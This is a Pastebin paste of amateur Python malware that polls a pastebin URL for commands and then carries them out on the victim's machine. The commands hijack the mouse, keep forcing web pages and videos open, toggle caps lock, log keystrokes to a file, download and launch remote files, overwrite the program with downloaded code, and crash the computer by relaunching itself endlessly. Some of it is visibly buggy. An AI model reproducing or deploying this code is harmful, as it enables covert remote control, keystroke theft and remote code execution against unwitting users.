Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #start bing bong
- #the website that all comand will be take from
- webite='https://pastebin.com/raw/D2QeYaN0'
- #bonces mouse round screen
- def bing_bong():
- #import module
- import pyautogui
- import random
- #move mouse to the center of the screen
- pyautogui.moveTo(pyautogui.size()[0]/2, pyautogui.size()[1]/2)
- #set the direction to 100 up and 100 left
- dir_y=100
- dir_x=100
- #changes the direction to the negitive of what is currently is
- def direction(num):
- if num < 0:
- return random.randint(0,99)+1
- else:
- return random.randint(-99,0)-1
- #set the start point as what it currently is for the mouse
- y=pyautogui.position()[1]
- x=pyautogui.position()[0]
- while True:
- #if it hit a wall(side of the screen) then it will bouse the over way
- if x<= 0 or x >= pyautogui.size()[0]-1:
- dir_x = direction(dir_x)
- if y <= 0 or y >= pyautogui.size()[1]-1:
- dir_y = direction(dir_y)
- #move the mouse by one
- y=pyautogui.position()[1]+dir_y
- x=pyautogui.position()[0]+dir_x
- pyautogui.moveTo(x, y)
- #read a file from the internet and return it
- def read_web_line_one(website):
- import requests
- #read the <html> file from the website and retuns it
- data = requests.get(website)
- return data.text
- #check if chrome is runing
- def chrome_run():
- import wmi
- import time
- c = wmi.WMI()
- x=0
- #gose throgh all currently runing program and check what running
- for process in c.Win32_Process():
- x=x+1
- p=process.Name
- if p == 'chrome.exe':
- return True
- else:
- stop()
- #keep a webpage open
- def keep_open_web(website):
- #open new website
- import webbrowser
- webbrowser.open(website)
- while True:
- #if chrome is closed this will re open the webpage
- if chrome_run():
- stop()
- else:
- webbrowser.open(website)
- #return the file UI
- def my_name():
- import os
- #check all fle in the folder it saved in
- for file in os.listdir(os.getcwd()):
- #if it a python file it should be the only one in the folder
- #Note: before the code is compiled you need to change it to .exe
- if '.py' in file and file[0] == 'B':
- #return the file UI
- return file.split('-')[1].split('.py')[0]
- #return the file name
- def my_name_is():
- import os
- #dose the same as my_name() but return the entire file name
- for file in os.listdir(os.getcwd()):
- if '.py' in file and file[0] == 'B':
- return file
- return None
- #keep a video open and at the same place
- def keep_video(website):
- import time
- import webbrowser
- A=time.time()
- #open the webpage for the first time
- webbrowser.open(website)
- while True:
- #check if chrome is been closed
- if chrome_run():
- #if chrome has not been closed then it will check if it has been toald to shutdown
- stop()
- else:
- #if chrome has been shutdown then this will start the video at the close point to wverobne else as posibole
- webbrowser.open(str(website)+'='+str(round(time.time()-A)))
- #move the mouse slowly and randomly in a straight line
- def slow_move():
- import pyautogui
- import random
- import time
- def direction():
- return random.randint(-4,4)
- y=pyautogui.position()[1]
- x=pyautogui.position()[0]
- dir_y = direction()
- dir_x = direction()
- while True:
- stop()
- time.sleep(random.randint(0,120))
- for i in range(0,10):
- y=pyautogui.position()[1]+dir_y
- x=pyautogui.position()[0]+dir_x
- #print(str(dir_x)+','+str(dir_y))
- pyautogui.moveTo(x, y)
- print(pyautogui.position())
- #return True if it your UI
- def UI(uni):
- #get the UI
- name=my_name()
- print(name)
- print(uni.split('|'))
- if 'all' in uni.split('|') or name in uni.split('|'):
- if str('!')+name in uni.split('|'):
- return False
- else:
- return True
- else:
- return False
- #stop the program if it caled
- def stop():
- pass
- #loggs key stroke from 1-9 and a-z
- def key_logger():
- import keyboard
- import time
- import os
- alphabet =["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p","q", "r", "s", "t", "u", "v", "w", "x", "y", "z",' ','\n','0', '1','2', '3', '4', '5', '6', '7', '8', '9','10']
- line=''
- past=''
- while True:
- # making a loop
- time.sleep(0.01)
- for i in alphabet:
- try:
- if keyboard.is_pressed(i):
- if i == past:
- pass
- else:
- line+=str(i)[0]
- print(str(line))
- past=str(i)[0]
- else:
- pass
- except:
- pass # if user pressed a key other than the given key the loop will break
- try:
- old_cwd=os.getcwd()
- os.chdir('E:/key_logger')
- f=open(str(my_name())+'.txt','w')
- f.write(line)
- f.close()
- os.chdir(old_cwd)
- input()
- except:
- pass
- #randomly put cap lock on and off
- def cap(top):
- import pyautogui
- import time
- import random
- while True:
- time.sleep(random.randint(0,top))
- pyautogui.press('capslock')
- stop()
- #right file from web
- def write_file(website):
- import os
- file=read_web_line_one(website)
- f=open(file.split('\r')[0],'w')
- f.write(file)
- f.close()
- os.system('start '+str(file.split('\r')[0]))
- #crash the computer
- def crash():
- import os
- while True:
- os.system('start '+str(my_name_is()))
- def update(website):
- data=read_web_line_one(website)
- file_name=my_name_is
- f=open(file_name,'w+b')
- f.write(data)
- f.close()
- #descide what to do
- def main():
- import webbrowser
- while True:
- task=read_web_line_one(webite)
- action=task.split(',')[0]
- target=task.split(',')[1]
- data=task.split(',')[2]
- uni=task.split(',')[3]
- print(action)
- print('start')
- if UI(uni):
- print('True')
- else:
- print('False')
- input()
- if action == 'open_web':
- webbrowser.open(target)
- input()
- elif action == 'keep_open_web':
- keep_open_web(target)
- elif action == 'keep_video':
- keep_video(target)
- elif action == 'bing_bong':
- bing_bong()
- elif action == 'N/A':
- pass
- elif action == 'slow_move':
- slow_move()
- elif action == 'key_logger':
- key_logger()
- elif action == 'cap':
- cap(target)
- elif action == 'update':
- update(target)
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement